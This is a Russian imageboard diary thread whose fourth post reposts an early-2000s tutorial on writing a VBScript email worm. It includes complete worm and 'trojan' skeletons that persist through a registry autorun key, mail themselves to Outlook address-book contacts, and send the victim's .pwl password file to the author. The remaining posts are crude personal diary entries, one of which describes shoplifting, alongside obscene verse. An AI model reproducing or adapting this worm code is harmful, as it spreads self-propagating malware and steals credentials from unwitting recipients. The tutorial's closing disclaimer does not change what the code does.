Главная Юзердоски Каталог Трекер NSFW Настройки

Дневнички

Ответить в тред Ответить в тред
Check this out!
<<
Назад | Вниз | Каталог | Обновить | Автообновление | 14 5 2
личный бложик или днявочка honeypot !57S1CZEXFg 17/07/25 Чтв 15:13:16 803681 1
grafik.png 566Кб, 686x386
686x386
invenisti
honeypot !57S1CZEXFg 17/07/25 Чтв 15:18:37 803684 2
!57S1CZEXFg 17/07/25 Чтв 16:46:40 803724 3
grafik.png 499Кб, 709x500
709x500
honeypot !57S1CZEXFg 18/07/25 Птн 12:48:06 803844 4
Как написать почтовый червь

На идею написания статьи меня натолкнула статья How to write an E-Mail-Worm in VBScript написанная DaSRo, я даже не стал изменять ее название. Просто постарался сделать описание более подробным и разбить пример на составные части, на которых легче объяснить идею создания почтовый Internet – червей.

Начнем, как всегда с истории. Самым знаменитым и нашумевшим стал I-Worm.LoveLetter (классификация Kaspersky lab.), вызвавший массовое поражение компьютеров и сетей в начале мая 2000 года. Для своего запуска он использовал "дыру" в системе безопасности MS Windows, которая позволяла запускаться файлам с расширением .vbs, присоединенных к почтовому отправлению. Позже эта "дыра" была заделана, но сама идея написания E-mail worm на Windows Scripting Host (WSH) пришлась по душе virmaker – ам, тем более что глубоких знаний в программировании не требовалось. Достаточно было знать основы программирования на Visual Basic или другом объектно-ориентированном языке.

Теперь немного о самом WSH. Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python.

Как ни хороши скриптовые языки, много с ними не сотворишь. Они не способны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее.

Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject.

Подробнее о WSH можно прочитать здесь.

Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей.

Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.

Option Explicit
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)

В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.

Теперь опишем третью и четвертую строки примера:

Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.

Скопируем скрипт в c:\windows, для дальнейшего использования.

File.Copy ("c:\windows\I_am_virus.vbs")

Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.

Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")

Теперь мы смело можем управлять захваченным компьютером.

Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.

WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows _
\CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"

Следующий шаг за вашей фантазией, можно скопировать из Internet более сложный вирус, как делал I-Worm.LoveLetter, и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.

И, наконец, мы переходим к "сердцу" каждого Internet – червя, процедуре рассылки.

Создаем ссылку на объект самого распространенного почтового клиента Outlook.

Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")

Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.

For Index = 1 To 50

Создадим новое почтовое сообщение

Set OutMail = OutlookObject.CreateItem(0)

В поле "Кому" занесем адрес из адресной книги

OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

В поле "Тема" вставим тему сообщения

OutMail.Subject = "Тема сообщения"

Добавим текст сообщения

OutMail.Body = "Тело сообщения"

Прикрепим скрипт

OutMail.Attachments.Add(File)

И отправим его

OutMail.Send

Next

Вот вы и стали писателями вирусов. Чувствуете подъем? Опуститесь на землю, это только каркас, заполнить его, ваша задача. Удачи!

Каркас E-mail worm

On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
For Index = 1 To 50
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add(File)
OutMail.Send
Next

Каркас "троянского коня"

On Error Resume Next
Dim FileSysObject, File
Set FileSysObject = CreateObject ("Scripting.FileSystemObject")
Set File = FileSysObject.GetFile(WScript.ScriptFullName)
File.Copy ("c:\windows\I_am_virus.vbs")
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _
CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"
Dim OutlookObject, OutMail, Index
Set OutlookObject = CreateObject("Outlook.Application")
For Index = 1 To 50
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add(File)
OutMail.Send
Next
Set OutMail = OutlookObject.CreateItem(0)
OutMail.to = "Ваш E-mail"
OutMail.Subject = "Тема сообщения"
OutMail.Body = "Тело сообщения"
OutMail.Attachments.Add("Путь к .pwl файлу")
OutMail.Send

P.S. Весь приведенный программный код не может быть использован, для написания вирусов, в чистом виде, так как данная статья была написана в ознакомительных целях. При написании, умышленно, были использованы фрагменты программного кода, определяемые и блокируемые самыми распространенными антивирусными программами.

автор: Hurrican
Copyright © 2001-2002
!57S1CZEXFg 18/07/25 Птн 19:50:13 803889 5
сдал бутылки, купил покило картошки, спиздил пачку табака. жаль масла нет, дать не смогу. а как проходит у тебя этот замечательный день, пидор анон?
honeypot !57S1CZEXFg 18/07/25 Птн 21:55:01 803946 6
honeypot !57S1CZEXFg 18/07/25 Птн 22:52:46 803951 7
grafik.png 422Кб, 500x615
500x615
honeypot !57S1CZEXFg 19/07/25 Суб 00:39:55 803968 8
grafik.png 446Кб, 500x635
500x635
honeypot !57S1CZEXFg 19/07/25 Суб 19:31:59 804124 9
наскреб медяков, хватило на литр подсолнечного. на литр поднебесного не хватило. спиздил три упаковки шайб из салями. на обратном пути встретил местного коляса, который под какой-то олдовый роцк патрулировал местный парк на мотоколяске как передовой авангард вермахта на Украине. пожарил немного картохи, находившейся со вчерашнего дня в отключенном холодильнике. вроде не прокисла, но будем посмотреть
honeypot !57S1CZEXFg 20/07/25 Вск 21:18:42 804301 10
вдруг, откуда ни возмись,
налетел жестокий ливень
и насаживать на бивень
не поеду завтра я. никого
и нихуя. что ж ты фраер
сдал назад.
планам суждено не сбыться,
а ебаться за границей
дело вежливых ребят.
так в народе говорят
Аноним 21/07/25 Пнд 19:17:23 804406 11
погулял под дождем, удостоверился, что из плюсов ушел в минус. теперь я кому-то типа должен. отличный денек, мразь на (((боге)))
Аноним 21/07/25 Пнд 19:26:51 804408 12
grafik.png 156Кб, 480x360
480x360
>>804406
истина. алсо добавлю, что семьи у меня не было, нет и не будет. на ваше сосаити нам поебать
honeypot !57S1CZEXFg 21/07/25 Пнд 19:28:35 804409 13
Аноним 24/07/25 Чтв 17:00:42 805014 14
>>804301
>вдруг, откуда ни возмись,
появился в рот ебись
и сказал он ей опять
эй шалава дай ебать
Настройки X
Ответить в тред X
15000
Добавить файл/ctrl-v
Стикеры X
Избранное / Топ тредов